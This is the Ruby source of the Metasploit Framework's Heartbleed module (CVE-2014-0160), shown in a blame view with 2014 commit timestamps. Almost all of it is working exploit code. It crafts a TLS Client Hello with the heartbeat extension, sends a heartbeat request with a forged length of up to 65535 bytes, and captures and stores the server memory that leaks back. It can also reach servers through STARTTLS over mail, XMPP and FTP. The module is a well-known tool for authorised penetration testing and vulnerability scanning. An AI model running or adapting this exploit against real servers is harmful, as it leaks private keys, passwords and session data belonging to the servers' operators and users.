metasploit-framework/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

361 lines
12 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
2014-04-08 19:13:56 +00:00
CIPHER_SUITES = [
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005, # TLS_RSA_WITH_RC4_128_SHA
0x0004, # TLS_RSA_WITH_RC4_128_MD5
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff # Unknown
]
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
2014-04-08 21:51:50 +00:00
TLS_VERSION = {
'SSLv3' => 0x0300,
2014-04-10 00:52:05 +00:00
'1.0' => 0x0301,
'1.1' => 0x0302,
'1.2' => 0x0303
2014-04-08 21:51:50 +00:00
}
2014-04-08 19:13:56 +00:00
TLS_CALLBACKS = {
2014-04-08 20:32:13 +00:00
'SMTP' => :tls_smtp,
'IMAP' => :tls_imap,
'JABBER' => :tls_jabber,
'POP3' => :tls_pop3,
2014-04-09 22:23:57 +00:00
'FTP' => :tls_ftp
2014-04-08 20:32:13 +00:00
}
def initialize
super(
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
2014-04-09 01:11:28 +00:00
'Description' => %q{
This module implements the OpenSSL Heartbleed attack. The problem
exists in the handling of heartbeat requests, where a fake length can
be used to leak memory data in the response. Services that support
STARTTLS may also be vulnerable.
2014-04-08 19:13:56 +00:00
},
2014-04-09 01:11:28 +00:00
'Author' => [
2014-04-08 20:10:27 +00:00
'Neel Mehta', # Vulnerability discovery
'Riku', # Vulnerability discovery
'Antti', # Vulnerability discovery
'Matti', # Vulnerability discovery
'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
2014-04-08 19:13:56 +00:00
'FiloSottile', # PoC site and tool
'Christian Mehlmauer', # Msf module
2014-04-09 14:42:39 +00:00
'wvu', # Msf module
'juan vazquez', # Msf module
2014-04-11 17:01:01 +00:00
'Sebastiano Di Paola' # Msf module
2014-04-08 19:13:56 +00:00
],
2014-04-09 01:11:28 +00:00
'References' =>
2014-04-08 19:13:56 +00:00
[
2014-04-08 20:56:56 +00:00
['CVE', '2014-0160'],
2014-04-08 21:01:06 +00:00
['US-CERT-VU', '720951'],
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
2014-04-08 20:56:56 +00:00
['URL', 'http://heartbleed.com/'],
['URL', 'https://github.com/FiloSottile/Heartbleed'],
['URL', 'https://gist.github.com/takeshixx/10107280'],
['URL', 'http://filippo.io/Heartbleed/']
2014-04-08 19:13:56 +00:00
],
2014-04-09 01:11:28 +00:00
'DisclosureDate' => 'Apr 7 2014',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
2014-04-11 16:16:19 +00:00
OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP' ]]),
OptEnum.new('TLSVERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
2014-04-11 17:39:57 +00:00
OptBool.new('STOREDUMP', [true, 'Store leaked memory in a file', false]),
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil])
], self.class)
register_advanced_options(
[
2014-04-11 14:32:55 +00:00
OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
], self.class)
end
def run
2014-04-11 14:32:55 +00:00
if heartbeat_length > 65535 || heartbeat_length < 0
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
return
end
super
end
def heartbeat_length
datastore["HEARTBEAT_LENGTH"]
end
2014-04-08 19:13:56 +00:00
def peer
"#{rhost}:#{rport}"
end
2014-04-08 19:56:05 +00:00
def tls_smtp
# https://tools.ietf.org/html/rfc3207
2014-04-08 19:13:56 +00:00
sock.get_once
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
2014-04-08 19:13:56 +00:00
res = sock.get_once
2014-04-08 20:18:38 +00:00
2014-04-08 20:10:27 +00:00
unless res && res =~ /STARTTLS/
2014-04-08 19:13:56 +00:00
return nil
end
sock.put("STARTTLS\r\n")
2014-04-08 19:13:56 +00:00
sock.get_once
end
2014-04-08 19:56:05 +00:00
def tls_imap
# http://tools.ietf.org/html/rfc2595
2014-04-08 19:56:05 +00:00
sock.get_once
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once
2014-04-08 23:21:09 +00:00
unless res && res =~ /STARTTLS/i
2014-04-08 19:56:05 +00:00
return nil
end
sock.put("a002 STARTTLS\r\n")
sock.get_once
end
def tls_pop3
# http://tools.ietf.org/html/rfc2595
2014-04-08 19:56:05 +00:00
sock.get_once
sock.put("CAPA\r\n")
res = sock.get_once
2014-04-09 15:51:44 +00:00
if res.nil? || res =~ /^-/ || res !~ /STLS/
2014-04-08 19:56:05 +00:00
return nil
end
sock.put("STLS\r\n")
res = sock.get_once
2014-04-08 23:21:49 +00:00
if res.nil? || res =~ /^-/
2014-04-08 19:56:05 +00:00
return nil
end
2014-04-09 15:51:44 +00:00
res
2014-04-08 19:56:05 +00:00
end
def tls_jabber
# http://xmpp.org/extensions/xep-0035.html
msg = "<stream:stream xmlns='jabber:client' "
msg << "xmlns:stream='http://etherx.jabber.org/streams' "
2014-04-09 18:11:45 +00:00
msg << "version='1.0' "
msg << "to='#{datastore['XMPPDOMAIN']}'>"
2014-04-08 19:56:05 +00:00
sock.put(msg)
res = sock.get
if res.nil? || res =~ /stream:error/ || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
2014-04-11 12:58:56 +00:00
vprint_error("#{peer} - Jabber host unknown. Please try changing the XMPPDOMAIN option.") if res && res =~ /<host-unknown/
return nil
end
2014-04-08 19:56:05 +00:00
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
sock.put(msg)
res = sock.get
return nil if res.nil? || res !~ /<proceed/
res
2014-04-08 19:56:05 +00:00
end
2014-04-09 22:23:57 +00:00
def tls_ftp
# http://tools.ietf.org/html/rfc4217
res = sock.get
return nil if res.nil?
sock.put("AUTH TLS\r\n")
res = sock.get_once
return nil if res.nil?
if res !~ /^234/
# res contains the error message
vprint_error("#{peer} - FTP error: #{res.strip}")
return nil
end
res
2014-04-08 19:56:05 +00:00
end
2014-04-08 19:13:56 +00:00
def run_host(ip)
connect
2014-04-08 19:13:56 +00:00
2014-04-08 20:32:13 +00:00
unless datastore['STARTTLS'] == 'None'
2014-04-08 21:03:38 +00:00
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
2014-04-08 20:32:13 +00:00
if res.nil?
2014-04-08 21:03:38 +00:00
vprint_error("#{peer} - STARTTLS failed...")
2014-04-08 19:13:56 +00:00
return
2014-04-08 20:32:13 +00:00
end
2014-04-08 19:13:56 +00:00
end
2014-04-08 21:03:38 +00:00
vprint_status("#{peer} - Sending Client Hello...")
2014-04-08 19:13:56 +00:00
sock.put(client_hello)
server_hello = sock.get
2014-04-08 19:13:56 +00:00
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
2014-04-08 21:03:38 +00:00
vprint_error("#{peer} - Server Hello Not Found")
2014-04-08 19:13:56 +00:00
return
end
2014-04-08 21:03:38 +00:00
vprint_status("#{peer} - Sending Heartbeat...")
2014-04-08 21:33:05 +00:00
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5)
2014-04-08 19:13:56 +00:00
if hdr.blank?
2014-04-08 21:03:38 +00:00
vprint_error("#{peer} - No Heartbeat response...")
2014-04-08 19:13:56 +00:00
return
end
unpacked = hdr.unpack('Cnn')
type = unpacked[0]
2014-04-08 19:13:56 +00:00
version = unpacked[1] # must match the type from client_hello
len = unpacked[2]
2014-04-08 19:13:56 +00:00
# try to get the TLS error
if type == ALERT_RECORD_TYPE
res = sock.get_once(len)
alert_unp = res.unpack('CC')
alert_level = alert_unp[0]
alert_desc = alert_unp[1]
msg = "Unknown error"
2014-04-09 13:19:29 +00:00
# http://tools.ietf.org/html/rfc5246#section-7.2
case alert_desc
2014-04-09 14:12:55 +00:00
when 0x46
msg = "Protocol error. Looks like the chosen protocol is not supported."
end
2014-04-11 12:58:56 +00:00
vprint_error("#{peer} - #{msg}")
disconnect
return
end
2014-04-08 21:51:50 +00:00
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
2014-04-09 08:22:15 +00:00
vprint_error("#{peer} - Unexpected Heartbeat response")
2014-04-08 19:13:56 +00:00
disconnect
return
end
2014-04-08 19:13:56 +00:00
2014-04-08 21:03:38 +00:00
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
2014-04-08 21:33:05 +00:00
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
if heartbeat_data
2014-04-08 21:03:38 +00:00
print_good("#{peer} - Heartbeat response with leak")
2014-04-08 19:13:56 +00:00
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully leaked info"
})
if datastore['STOREDUMP']
pattern = datastore['DUMPFILTER']
if pattern
2014-04-11 17:22:01 +00:00
match_data = heartbeat_data.scan(pattern).join
else
match_data = heartbeat_data
end
2014-04-11 16:07:14 +00:00
path = store_loot(
"openssl.heartbleed.server",
"application/octet-stream",
ip,
match_data,
2014-04-11 16:07:14 +00:00
nil,
"OpenSSL Heartbleed server memory"
)
print_status("#{peer} - Heartbeat data stored in #{path}")
end
2014-04-11 16:07:14 +00:00
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
2014-04-08 19:13:56 +00:00
else
2014-04-08 21:03:38 +00:00
vprint_error("#{peer} - Looks like there isn't leaked information...")
2014-04-08 19:13:56 +00:00
end
end
2014-04-08 21:33:05 +00:00
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack("n") # Payload Length: 65535
2014-04-08 19:13:56 +00:00
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
2014-04-08 21:55:08 +00:00
hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
2014-04-08 20:52:39 +00:00
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
2014-04-08 21:21:38 +00:00
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
2014-04-08 21:21:38 +00:00
2014-04-08 21:29:31 +00:00
hello_data << [hello_data_extensions.length].pack("n")
2014-04-08 21:21:38 +00:00
hello_data << hello_data_extensions
2014-04-08 20:52:39 +00:00
data = "\x01\x00" # Handshake Type: Client Hello (1)
2014-04-08 21:04:38 +00:00
data << [hello_data.length].pack("n") # Length
2014-04-08 20:52:39 +00:00
data << hello_data
2014-04-08 19:13:56 +00:00
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
2014-04-08 19:13:56 +00:00
def ssl_record(type, data)
2014-04-08 21:51:50 +00:00
record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
2014-04-08 19:13:56 +00:00
record << data
end
end